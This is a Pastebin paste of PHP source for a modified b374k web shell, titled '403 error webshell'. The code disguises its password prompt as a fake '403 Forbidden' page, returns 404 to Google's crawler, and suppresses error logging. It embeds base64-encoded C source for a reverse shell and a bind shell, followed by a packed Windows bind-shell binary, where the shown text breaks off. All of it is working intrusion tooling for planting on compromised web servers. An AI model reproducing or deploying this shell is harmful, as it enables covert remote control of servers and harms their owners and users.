API tools faq
paste
jesobreira

403 error webshell

jesobreira
Jun 14th, 2015
341
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 57.89 KB | None | 0 0
raw download clone embed print report
  1. <?
  2. /* (b374k shell editing by Bl4ck Jorozz|default pass:" jbj ") */
  3. $auth_pass = "6802aa20b4a45c0d1cb8d551a5e36b4b";
  4. $color = "#00ff00";
  5. $default_action = 'FilesMan';
  6. @define('SELF_PATH', __FILE__);
  7. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  8.     header('HTTP/1.0 404 Not Found');
  9.     exit;
  10. }
  11. @session_start();
  12. @error_reporting(0);
  13. @ini_set('error_log',NULL);
  14. @ini_set('log_errors',0);
  15. @ini_set('max_execution_time',0);
  16. @ini_set('output_buffering',0);
  17. @ini_set('display_errors', 0);
  18. @set_time_limit(0);
  19. @set_magic_quotes_runtime(0);
  20. @define('VERSION', '2.1');
  21. if( get_magic_quotes_gpc() ) {
  22.     function stripslashes_array($array) {
  23.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  24.     }
  25.     $_POST = stripslashes_array($_POST);
  26. }
  27. function printLogin() {
  28.     ?>
  29. <left><html><head><title> Error 403 - Forbidden </title></head><body><h1> Error 403 - Forbidden </h1><p> You don't have permission to access the requested resource. Please contact the web site owner for further assistance. </p></body></html><br><br>
  30.     <style>
  31.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  32.     </style>
  33.     <center>
  34.     <form method=post>
  35.     <input type=password name=pass>
  36.     </form></center>
  37.     <?php
  38.     exit;
  39. }
  40. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  41.     if( empty( $auth_pass ) ||
  42.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  43.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  44.     else
  45.         printLogin();
  46. @error_reporting(0);
  47. @set_time_limit(0);
  48.  
  49. //
  50. // JorozzShell <[php]>
  51. // ^^^^^^^^^^^^
  52. // author: b374k
  53. // greets: Bl4ck Jorozz(s) and all of you who love peace and freedom
  54. //
  55. //
  56. // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  57. // Jayalah Indonesiaku
  58.  
  59.  
  60. //################ VARIABLES GOES HERE #######################=============================================]
  61. $shell_name = "Bl4ck Jorozz";
  62. $shell_fake_name = "Login";
  63. $shell_title = " :: ".$shell_name." ::";
  64. $shell_version = "v1";
  65. $shell_password = "bj";
  66. $shell_fav_port = "12345";
  67. $shell_color = "#3399FF";
  68.  
  69. // server software
  70. $xSoftware = trim(getenv("SERVER_SOFTWARE"));
  71. // uname -a
  72. $xSystem = trim(php_uname());
  73. // server ip
  74. $xServerIP = $_SERVER["SERVER_ADDR"];
  75. // your ip ;-)
  76. $xClientIP = $_SERVER['REMOTE_ADDR'];
  77.  
  78. $xHeader = $xSoftware."<br />".$xSystem."<br />Server IP: <span class=\"gaul\">[ </span>".$xServerIP."<span class=\"gaul\"> ]</span>&nbsp;&nbsp;&nbsp;Your IP: <span class=\"gaul\">[ </span>".$xClientIP."<span class=\"gaul\"> ]</span>";
  79.  
  80. //################# RESOURCES GOES HERE #######################=============================================]
  81. $icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw
  82. 4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4
  83. E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx
  84. dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei
  85. oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH
  86. 0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU
  87. vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2
  88. xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp
  89. gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO
  90. D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";
  91. $bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE
  92. MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";
  93. $xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l
  94. dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk
  95. Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt
  96. aWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz
  97. aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd
  98. LHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO
  99. RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1
  100. Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw
  101. ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K
  102. IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy
  103. ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";
  104. $xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5
  105. cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N
  106. CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy
  107. ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy
  108. ZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU
  109. Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f
  110. YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO
  111. RVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN
  112. CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl
  113. bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww
  114. KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy
  115. KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3
  116. ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7
  117. DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb
  118. aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN
  119. CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy
  120. biAwOw0KfQ==";
  121. $wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  122. AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
  123. ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0
  124. and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA
  125. ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA
  126. EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA
  127. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  128. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA
  129. AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA
  130. AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA
  131. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  132. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  133. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  134. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  135. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  136. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  137. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  138. AAAAAAAAAAAAAAAAAAAAAAAAMy4wNABVUFghDQkCCbOeYU01Vb5H61QAAFUiAAAAYAAAJgMADCfk
  139. //+DfCQEBXUIagD/FTBAQADCBACQuCx03/7/EgAA6AMABSxTVVZXaAAQI2gwUEAuHN1v396L0LkH
  140. HgAzwI1GPPOruAQMv/aX3bsQBIlEJEADRI08M9tQUokf9naz/USJXCRQNgyheFYEvvdlJ/6v+/+D
  141. +AGJdCQUfhyLDYQTUWkXg8QEZjvDbHf/7j4UdQQdjZQkrFNSagI+9Hb/ut+FwA+FQwI8PUcDfX5T
  142. AGoB+777+x7olPA78zYYD4QeAptTSa3puq4ggBQHJAMoLCp7vm2b8GbHChwki0wkFFFA7U33Z+xU
  143. JBBmvR4cUlBWdZDucpDczQFqChDkXjfsZryLLUTTThD+W/7t1taVIItuGI1MJBCNVFFG/vYgW5zg
  144. dNPp5gIQaBAnABbOZhpHQP2IVNAbbt1HO9N0sJMQu4vxWSzBu///wukCXIvOg+ED86oPv0oKi1IM
  145. i8EYMIvK956/Mhqli8ikxtEshG8IwckYzUYd6V67sBlO/wDm4Sxb5wYZ2DUYtFhA1d13lw12PAJo
  146. BONSx4QkjNgBzn54cwtMnCSQ47QkmAacHtt8T6AAzzyNvDqDyf/G7nfcwmhQLvKu99FJiZ/GhACa
  147. pum6GVwHRWVBY2marmlGeB9CbUfTme8GQwdkiJwMSA5E94s9Wy5mOIR6r1BR6bZN11oQ6wW2XFNS
  148. 1DSD6QpHdQ4A4dR3HP+QbgFFC8xfXl1bgcTj4Y5HNvkIg+wQ6DPtV8oKl7vH6AcUIBCJbM0U/mbr
  149. Axw8TGg/AA8AVVVMRmr/LFQE+Dv9dHl/GldeePfZEwgdAAU7xXQF+tPrWfvdtNkUSD0kInVMVQBW
  150. VZcOc7ddMv8BSWg4NzwQs22lf+iF7XQjlQFVTRQLbtvONQzWINa0Vltxc41LJRDCa6ldiS3t9mbJ
  151. fHgBOT1sUgp+ESDvfnf6agiKBlBPKQjrEIsVYF4zyYoOj/Hf/YoESoPgCJgDRuvQgD4AdGa7iTSF
  152. 1n57u4AGQKMMOkY8InUYBgWy7X//dAtGhMB0Qgp19UbGBgA1mmUeO8lmyQ5RD6Fk0ooW+q0dWVB1
  153. zh8/yXQC68tXOGloBxCUGAcANjrM3FIA+MfOzIDyH2v6ZYurg8cBfg8PtgdqCNle6X1ZWesOLGTF
  154. QQr/9rKFwEfr0hU3R4P+LYvubGGt19oGKzUPdkMsZw/7DGoEVkALoTxwBP32798NjQSbjVxG0DDr
  155. z4P9QsN1AvfYyb7b+pLD/0MENgSMWcPMAB0fo8BRPQJxCHIUgUIVv/2x3z4tEIUBF3PsK8iLxAyL
  156. 4YsIi+H/jYVAAsMh7FGLRQiNSAGB+QCfsHR7tncMvQ+3vutSt1b//+2v1w7B+QiB0fZEVgGAXnQO
  157. gGX+AIhN/I3LduOIRf0g6wkN/UX82rXtj/ZYjU0KBRNRUI0QUAvfbrjQnQdmxBxOAsnDU0UKI0Wy
  158. Y4HfDMl0av+qQVKUIuHGe/dkoQAAUGSJJQfgWFNi8SNceIll6Il0QKvUiRX4VNt3n95hyIHh/8gN
  159. 9A3B4QgDygrw3A+7P+gQo+wHM/ZFEVpZbrs3ug0wHAsG1ol1/AgPr+y79kkWoxhaBA8OfaPQVAls
  160. 22Z3DDAEC3cImSvQt6T3/zMNCEQWH4lFnPZF0AF0Brs0vS1w1OsDWlgddZxWoXALv2XXUCMDDKAI
  161. CMZH7GVD6Q1VCYlNmOzOCZs2F77dw4vHdZge1+3YVHUFWO0g7A0TaLwToQmVbAhz5XhSLyRZJXhL
  162. OBEC7ADu7jYbxAiLC8gFDHUJDwT34dv43TqrUwWL2B33ZK0DCZzgLjCE01safxh8eHKEGKHcU9s7
  163. NdgsbHA+zeReVhF7f6TOM/yAInQEi8brHRsY+WSDZwxTiHyEzgAtvMG7AlijQ2wCdSQcHGVbMN1J
  164. BaFEvBEUAhDYMSuVDDkzqQiHt18LmGzglCRdGBmhVGObbU/0RY1TLEEg+InW0HQbwFRAhBg3wb/x
  165. b18f4FZ0Y4ld/I08IceDwAMkdmEXi/wNwIv00NxXzDhKy46FFPwMW6PBxkY7kdQqg7//ydrs1ukp
  166. SeBWXxxVPHOtc1IRFNeg7esCnYULXUNlbU3wJg2JCG8sgVvIoRRaCNgH80Bh0BohCPquIV+DgZQO
  167. AD5ndg2nwxjQDI4I6BC5tU3IAVcPX7koVbM9Ond1ERh6LGUGhHBxoSEIDNSLXAmd/d0VpCKIHSAo
  168. PKEQgyI/+98tuAwJVo1x/DvwchOLBpeD7gQ7hnyFvzUic+1e8pQUw5d8N25oIBAchdtbC61nxDp6
  169. iYZwX8MFtSfbdRI7qnMNV8YE61HCtms4yp4IPgrcGFn4N1v7xSBwWAhIChWD+wXlDd0LWYNgCOpY
  170. 4wrZg/uNktvMhPauLGEsvbbrY6VNQguLSASDZ4XIHf/NrTT4EAUV/APRVjvKfRWNNPC33e1JK9EE
  171. tYgSgyYCxgxKdfeL3bYOdngEU7eOM8BpxwWfAXv3DINA63A9kBKBXT0B+RmQkYRKPZP5GZCfhTc9
  172. jYIkPY9Onp8BhhE9kgqKay2MnZ2IarXTdAprwH0fWV7rCPpREWOj41lwFPiDyP8xbFko1yi5uFtd
  173. w+RGUS7ufbtGOWjZVrgFdO3r7Rv8n4DADDvGcwQ5EN2NDEleA+xyfL+NFTvBEnSWMwhaeBk4sgAZ
  174. WrHkRDPxkQ4likYBJ002Gy7QIBHAwFCnFVR05vi2lSVa4yENBwo8IHa6rr2VTQwgd/o0KAQP6fUu
  175. LZTZ21MnOR1a29cWrA5bWtAT/yc6An/6SyESPD10AUddGxxZjSL8Tm3wAevorL1hZhqcA25HW3tZ
  176. 5zUI9Y7sfwtPCcYHPUE4H3Q5VVc5it2+RUhZRYA/SSJVNLZYtlB5PAYuOzaxb3f8eKxZblkD/Td1
  177. yV3/hEPpt30WdisdC4kejYc2Bl84qWFb1FG9rxi5V74wii2pP7bDqZATKaIYfP44g61ChRhNJ874
  178. vNoGrxV1n6yLDy0N2zag/NiI1KgYtWGTrtahCC8n2zWs1SSGMTVwFEhazuVuZgCco/ylL5hSu7Vt
  179. TBgcFJSDIXJqjlhji0p9VLUgrdVLpYV4dzeDx1MU8gv/woA4m0SKUAFAgPq+KYTSdCUX3rj90vaC
  180. 4VdHBHQ9AYX2cIoQHTsy9ogWRkAL1evODASAyNjtLR1GQBzrQx4Ff0vetgRARNr2gxkYiB5e3pq7
  181. RmUgdAkJCAl1zHUDSLY3jjW7Smb/gGUYAE4A+75mlrbgRCsFJwNeeGBmbPEXyLyLVbbCaxffAsfQ
  182. 14UiXNH49y3wQEPr95Is9sMBltzaX7hBOX1tDYB4ASKN4x2Lwihh2EpbNwgM7u/2t98YGA+UwokF
  183. 0euL00uFkw5DiNpboULXBbFLdfOA30Zr5KcgP1UKij+su9Q2dDoPZ3QuKBniwgkTBgYfGw9AsGtz
  184. AwMVAUCQDbWr3deGMA8Og8cDg/eUmgFDo+H7oOOFDm5JoTSIU7stpEBNNgftwT3AzATV+j3XAS0W
  185. Ie3rKGYWTpZvVPsX6hszsgNzAuIPWoHdbLMOQww/J8JmOR5t0Forc+s7CPv5NnZLnwbyK8YvUE7R
  186. +I5A0h2w0QJdUys0/9c1KVdL+jvrdDIyC41qroFbHFVQuyQlIW2D1L1WDBAnXAmL9sTP1gNWnpjD
  187. 61OVTKUSpZO5hbF0PGBD0vZv+3QKQDh7+wT2K8dAalXOUolWWKr7Rrp05WCk9ZyzDpRfPDrxxiCV
  188. w+ww7HCCRIsROmHTpKllMhsVWUAY4DXAsgBaIB6GKfutbNy0cxptBLbGRgUKoSNC7u/S9QgFG+vi
  189. jeGYTh1NDGYJQnXFNen3RQnCbrkLMI3cu/1XYrhKSo0cLnwCdjk1Yz6wzP19Ur8ETI8AOIPS/NjP
  190. f4kHjYh+wXMYgGAIGHuBy0CLD3YIgcF85BVif+bVSXy76waLCfvxL2y80X5Giyr4ZDaKTQD2wQEw
  191. oe6tfgQIdQulsB6lCo2/0MeLz8H4BY1Vy3Qv1HrPIaULiQgviDVe4hvrR0WDw5v+fLpQKPECn+w8
  192. 2P/y2HVNOxa3b10ABIG0avZY64jDSPW7HaE7wPVYrKiD/3MXV2b9MFInDCUVPtAGgE4r89YoauoK
  193. A3UK8MW+xG4EBYBDdAN8m/+4Ajwrszao0kTDhXrVUYN3GWgceGRrUHYgVbSj6FjcOjY8hS4e0UoP
  194. POhY6JAD86BySL9YONF7/OdV2Gi02PRYuCEeCC5SXTqL5afujjrbTItBBAaeuB3rvozRdA+tVIkC
  195. uAMQwz7Njv6hi9lq/mi8IYn/NQDFLrogGSBKi3C+sOO2QP7xLjvadCghdosMs4XbVgmpbUgXfLOx
  196. /fbv+3USaAEBLbN9Em7/VAjrw2SPBQjtnONDooznZIu2t+DS94F5BGh1DVEMpTlRmLh7C7EFm4pR
  197. uxSF2woEK3EIqGFLArdGfGtD0GsMWVt371ZD6G/D/TIwWEMwMPfjCPr8i11Yii3ll1hA5NmC5qB1
  198. cIkxReEPCInvsrU+IXN7CMFhulv7l212sY90RVZVjWsQqAtdI7oXul5BC8QzeDwlU14DxrpyEZgd
  199. VgzatWOyFVw2b96PSnznum2PVQw7CDAaizSP66HqHftq9nwcyesVXEOITVbgP10WlLVCb2i8O4sp
  200. i0H2A151yRoQJOGhe60aCrihmfIqinWs3M98UiFo/D6GoThWj2DUy1nwdZzwH/5g14HspIRVCDPJ
  201. uCjY3bTVPjuQC0JBPbgMfPG5hfe3lfHB5gM7lhomHCpJZ5aGbLzocA3X9h66ENeo+nUL8SBsRGLh
  202. hVw+/7kpAOXBukm6MBMX/ENALXF2FiZZEleSvWdvx+IHYUBZZTx2KRlQL3B2FnT4DYNGagMDN7Op
  203. 7vho+EFXqCesVWD/xs6SNNwQVwy8zP2QwR3YvP+2LNMWzFSr2REKBCfBL98ZsFkaLF/rJo2Emhor
  204. azBq1zY7TdOk3Qhq9Nx/xF5OTUOAyeQtDEdLpo0mCEfFij8x+apEKf6D+gRyLffZVHRvvv9fE4gH
  205. R0l1+ovIweAIA8EGEMqD4gPXXaIUewPzqzoGIw4o5UxKPs0ixDnJVo0EFWVP3ICuHhaKQ4SIJHVb
  206. 0ISBHGZTDglFhgOuq2ohIzvkeCQzUqQB/wUY9poBfvAXLyE1uLQQfXCiFbgi/N5WLJd3/AnSuMgV
  207. OTB0cjBCVFGaYuEN6Nuc99YVIxgkvkBjWb/ggtAWewnT6AGJUMOqcXOjtenkgA+G74B97rG1+NMZ
  208. u03vihEPDK6x9038LLZB/+Q7wg+HkyXHW21ZAw7uUkg/Uux+owEsiwSqjZ7YkYA7v03ob7TLdCyK
  209. UQFkhbb6O8d3t2/3jRTJ/IqSwCAIkEZAE3b1bBu68EFBgDkY1P/cwwid/EGWMC2Ewfz9zG0WHt5Q
  210. o6wLeeTMv8B07P7eD6WlWaO7petVQHn//0g9fWZwGkKhCEA9SnKwbBYrIzksVDbWXmtx+gvCTasA
  211. voLb6OsN2FwKmzCs4KpQ+wTVHUFbangfHpXfgyUhVf4jPMjW6ktc/yV4av0oMHJhFGz85RaxZSdy
  212. GUn1UKmUgameKii0wbY2FwQNbkggdjZTOwG4BOkFEgsgLzzPCBFXbFkzwN4bIdiqtBejxdwbBs76
  213. w18zFKQE7AaMCI1W9+cKFgumfz80wL6HiIQF7KyCxqW6+v5y9IpF8saFDSCpN6Mv4erGjVVgtgra
  214. v3cdKxi0e+zIjbwqQbggAIvZlzb99s/LQkKKQv80ddBfW2qd7PpYa/YagzWNejFWnbFgxFa1I/2y
  215. m032HVYeVjQjKKqwQ1cy/GjvJ39bsBReXD2NcmaLEb+fsMD2wmAW+hCKlAVkiJBO3gqY4L8aAnQQ
  216. IMZbAHdbpqAcgWHCDY08AL/rSRUlf1hju0FyGQRaqkvIgMEgiJOXt7GISR8dYXITencOrm7YmyDp
  217. IOvgTEq+ZeHXgwE6Emr9CJZZ/F+dYHIIWvQDJNCogR+XHw/2VhoWLVg+Zx86Xr0TQMN6HbyxsNdI
  218. fMscJ2qNpCTC/7us4ZH4V/fBA/6KAUG2Ow4S/f//dfGLAbr//v5+A9CD8P8zwoPBBKm/ht9t8IF0
  219. 6Jf8JiOE5HQaqUh0gR4d6Kmno82Ny8tboz/+BP7rCP3rA/zaGswR9l8ZC0EM/WBvxWSIF0di7usF
  220. iRe+rBCsxWduaYNrN/a2m+EvNITkJ/fCaRIH2Qm0sWrHOC5mCLYlK9HG7gwIiAcjw9kIuHAqWsUb
  221. 9eiu/rHgdyIObTo6u23adRZkmJ6DFdoTKvneRbsbOEJYNcANdwtWGiJlqBRNPRwuA3ByCS/U/8rm
  222. 8FZqZEE4xAYAX16I0JCTFEAA5KS5SGMyJBNJtke4QbUrwcMJ/qbZZJL9/IbGoNBStFfFnU1SttEL
  223. FMEQ0QPG1HbUMI3t+PgPgnhH98eMFIrQ/0I4kd9yKfOl/ySV6CwWKvDbYse6HIPpSMrgczO3JYjI
  224. F4UABo34Tdc9XZAHfBAEPANgI7a3wMHRiszXiEcBBQIZW7bmVghZxsdczJaxZSeNSSslAQI7m+RZ
  225. AqaQI0YhrjuQr0c/jN8GzAOapmmaxLy0rKScNN1C/79EjuSJl+QH6OjTNE3T7Ozw8PQC0zRN9Pj4
  226. /BBafNgojZoD8HoJwDTb7//wAC0DDCAN7C3tWF5foJCdCwnBBZv5EaMN4e3DDAorjXQxZ3w5/H92
  227. 20sGJA394/x3gC7CeWtxRe+NMC6PF/mcTPkriC0swma67pCYC7gD4G0DOlvydbdvA05YT1a2S90u
  228. Ydgfo+4C7wK8ZQPyKYyQJySNV7Ykqy0DrkXXXZiBWmBbNAY8A03TNE1ETFRcZHdpmmaELpccHBgY
  229. pmmaphQUEBAMkKZpmgwICAQETdedsB+QBZgDqLwlOLeELpe3tYcDWwizD4MTIZlOCLdoQBnVDLkW
  230. YHK0SFuts50luqwGsAUGwIzEo6iUoLrspd5CeKEY+YChtAfatDVgiLraVJJQDNcL7ZY1ACRyB2MU
  231. 6+hfZXIRIaPLnsX2VnKv8/ryK3EMWriD/7/AwvxXwe4Pi86LevxpyQSvS4l92Cjk3jCMAUSZILZN
  232. xrcG3L0ME9UI+HV/wRGjQnz7aj9JXwsMO892qZELBXq7EwQ7Awh1SL2lIP+tf+hzHL9x0++NTAGO
  233. 1yF8sET+CXUu2Na7K3UhOeskdeAeLX0692AhvLDEEiQGeQSZsXLBUYd8EwoEje+2G8xd+A0IjIv7
  234. wf8EZHRb29r/P3uGXy+94ZfsFWoAWiTQK6gFun/MEaGJVfhJWjvKpnb2/LmtdfPKQRv7QD47+nbb
  235. UrstmPq/dGsuiVG+UTwyMmC9uurSIVRhwSKXER69LdYS8tIhlExSv1pZzrZJvkoLBAgRFS5s1JEn
  236. 7NUJOTOGfDMbpIkp8I0M+crWXPcLJokvDgUIol1q2ZdKY4cHBO/bRrtfzU0P/sGIC3Ml8w9GDnay
  237. 3b+7iIvP0+t2CRkNjUSxxW4V+wkY6ykkwE/gGWOH4J4lWQQPnYS3CVT6VsM4i1RFoxqJXBNXhngs
  238. S3L6oXZMWqp8ot9/pFanQBTi9qZqDwNIDFKAAEPMXiN2klNRgB8y/rD3IBwJUAgOOUAQg6SI4uxu
  239. 9mwkD/5IQwpI6rE33OJ5QxODYAT+EYN4CLrXNt1DbFMQcAxaEgkQLXosLGD0D9hC4RjyBICSy8go
  240. +sW/ofNMEexRjUgUUZsrHOP9dmVizv8NLzsFIjVPv7ZRtxSWOokNTOsidX5Pt6OsiTU1XClgkypm
  241. L2gbn9yNYDyCLBtIF3bw/Ds6TBdqSTR9DoPO/9PugynHWy3t/+/06xAmgP+2wL0z9tPoDgOhaYvY
  242. O99/u/AbfwhzGYtL4TsjKyP+C891C7td41Y+FDuaGHLnB3V520zI94vaO9gmFQXr5hklukV3dVkk
  243. c7N7CEh3yLNzEzfr7SYNG7dfmbMv7hclbnuF23YXtDAWCCYfWVstbFut/IBDqDhsB91r1W0b6SNp
  244. WqUUi8NbqW0W+sdKLYuMkLY7e9ilgJBEiDeLEnAR9gtvZVXdg2X8hEhEC9aLCwEMtdB1B5FJFKb/
  245. LlwcX4v+IzkL13Tpi5cbhzXryjP/XFhNdkz/7mB3V851DWZqIGRfhcl8BdHhR66u2+7r94sgVPlD
  246. Cit/8XuNRk3/wf4EToP+P374Xjeb0qaTzA0BJGEgfSsRt6UOAu84nNPz7CM3ynH3XIhEiQP+D3Xq
  247. Yewh0WID6QvrMRcrlSu4douhMiEZKTaYLCbnKASFIgrArk2vy3oE+ACVr3oIkNt+rmqEoql88UIM
  248. pVkGkFoiwmQG1VLpZv4LfSnEmQsujW2uxxFiv7DOjAk7gN12yQqPCXyu6y8ovg9po+VOtgl7BLG8
  249. cD3Sxa0Wvu4JN2p0uaVfOnQLiQqJA/yyeXVt+G0bvNEiARIy/J+LDnr8VqohJQ8+dRo7HfLQiNSV
  250. 60s7pAbSpbpgaxGJUEIECAY9OCkCDW/sMN26wf9ddTBfiVBy4JCWBaW0V5doMIPCBirHdIicDX/B
  251. YsA9CmjEQeAIR7bPTEUwjTSBM2SJRvZBA/0QdCpqBGj/aLJXGfQGMMhgDB12EFe11ICB/N18TqAW
  252. +60kxYl+BP8FYkFwHapdqovGsu7po/WNrktxyEEIM9vFT+vjRrPgQ8M3acCBWvvEdhtjMIJF6kAI
  253. AgTdujVsnEoe+4XB5995DBcw5LOLEIAARQ36TSbRJycVjZcAcCNocGn7+nc8jUd3SPKDiH5mMO/u
  254. 9I2I/AbHQPzwQg56n/vt7/+lSATHgOgQFAVW3lE3WCzwlnbHI08MBfjeugLghukmiayNSgyH28vW
